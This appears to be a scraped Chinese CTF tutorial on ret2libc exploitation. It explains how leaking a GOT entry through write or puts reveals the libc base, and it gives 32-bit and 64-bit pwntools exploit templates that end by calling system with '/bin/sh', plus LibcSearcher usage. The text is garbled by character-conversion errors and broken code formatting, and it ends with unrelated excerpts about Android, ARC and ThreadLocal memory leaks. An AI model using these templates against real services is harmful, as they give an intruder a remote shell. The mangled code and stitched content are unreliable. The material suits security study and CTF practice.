個人基礎比較薄弱,做了好幾道題才勉強算是把位址洩露的利用方法掌握了。。(搞不好還有我不知道的)
簡單說就是利用輸出函式(如write、puts)將libc在記憶體中的基址洩露出來,從而呼叫libc中的其他函式。這裡需要知道的是程式裝載時的過程,具體在網上或各種講底層的書資料裡都有,重點是got表和plt表。
got表全稱全域性偏移表,其中記錄的就是程式中所用的外部變數和函式(稱為符號)在記憶體中的位址。它的形式是乙個陣列。因為執行時它的各元素的值才能確定,所以需要洩露的就是程式執行時這裡面的值。
plt表全稱過程鏈結表,其中是一些**片段,除第乙個外儲存的是跳轉到符號對應的got表的指令。也就是說,像call func@plt 這樣的指令會先跳轉到plt表,然後跳轉到got表,再通過got表找到符號func在記憶體中的位址。
另外,顯而易見的一點是,同乙個libc中各符號之間的相對偏移是固定的。比如a與b相對偏移為0x100,現在洩露出a在記憶體中的位址是0x40000,那麼b在記憶體中的位址就是
0x40000+0x100=0x40100
因此寫exp的基本思路是:
劫持eip到輸出函式
輸出某符號對應的got表中的值
確定libc基址(任意乙個符號的位址)
呼叫其他符號
而這裡的libc,有的題目會提供,有的則不會,因此分開討論。
這種情況比較簡單,在kali中用objdump命令就能查詢libc中符號的偏移
用ropgadget也能很方便地找到需要的**段
另外,如果不知道程式用了哪個libc,可以用ldd命令檢視
exp模板:
from pwn import
*io=remote(
'''ip'''
,'''port'''
)elf=elf(
'''file'''
)libc=elf(
'''libc'''
)write_got=elf.got[
'write'
]write_plt=elf.plt[
'write'
]write_libc=..
....
payload=
'''padding'''
+p32(write_plt)
+p32(
'''return_addr'''
)+p32(1)
+p32(write_got)
+p32(4)
io.sendline(payload)
libc_base=u32(io.recv(4)
)-write_libc
sys_addr=libc_base+sys_libc
binsh_addr=libc_base+binsh_libc..
....
以上是32位程式的exp模板。對於64位程式,要注意的是函式的前6個引數會用暫存器rdi,rsi,rdx,rcx,r8,r9傳遞,後面的用棧傳遞,因此要找到pop rdi;ret這樣的指令來傳參。這裡還是用ropgadget工具
payload改為
payload=
'''padding'''
+p64(write_plt)
+p64(
'''return_addr'''
)+p64(1)
+p64(pop_rdi)
+p64(write_got)
+p64(pop_rsi)
#write第三個引數輸出長度可以不管,讀的時候唯讀前8個位元組就行了
這種情況下有兩種解決方法:找出程式所使用的libc和使用pwntools的dynelf類。
前者的解決方法可以使用上面提到過的ldd命令檢視libc版號,然後在網上查詢這些libc。如可以找到各符號在其中的偏移。
也可以使用libcseacher庫,方法是建立乙個libcsearcher類,初始化引數為符號和位址,然後用該類的dump方法返回特定符號的偏移。例如:
libc=libcsearcher(
'puts'
,puts_addr)
sys_addr=puts_addr-libc.dump(
'puts'
)+libc.dump(
'system'
)binsh_addr=puts_addr-libc.dump(
'puts'
)+libc.dump(
'str_bin_sh'
)
使用dynelf類則麻煩和難度高一些,但理論上應該是可以解決任何libc的問題。在i春秋的這篇文章中講的比較詳細:
總結一下關鍵就是要寫乙個可以反覆用的洩露位址的leak函式,該函式引數是整數字址,返回值是表示記憶體中該位址內容的字串。因為要反覆使用,為了不耗盡棧空間通常該函式內的payload返回位址是start的位址也即程式入口。
android 記憶體洩露總結
一 引用沒釋放造成的記憶體洩露 1.註冊沒有取消造成的記憶體洩露 2.集合容器物件沒有清理造成的記憶體洩露,僅僅是顯示的賦為了null 3.不要保留對context activity長時間的引用,對activity的引用,一定要確保擁有和activity一樣的生命週期 4.如果你不想控制內部類的生命...
ARC下記憶體洩露總結
a有個屬性b,b有個屬性a,如果都是strong修飾的話,兩個物件都無法釋放。這種問題常發生於把delegate宣告為strong屬性了。例,inte ce sampleviewcontroller property nonatomic,strong sampleclass sampleclass ...
ThreadLocal引起記憶體洩露總結
我們都知道threadlocal能給每乙個執行緒建立乙個副本,確保多個執行緒訪問資源的安全性。但是threadlocal使用不當會造成記憶體洩漏。首先分析一下threadlocal記憶體洩漏原理。threadlocal底層其實是乙個threadlocalmap,是以形式儲存變數副本的。但是由於key...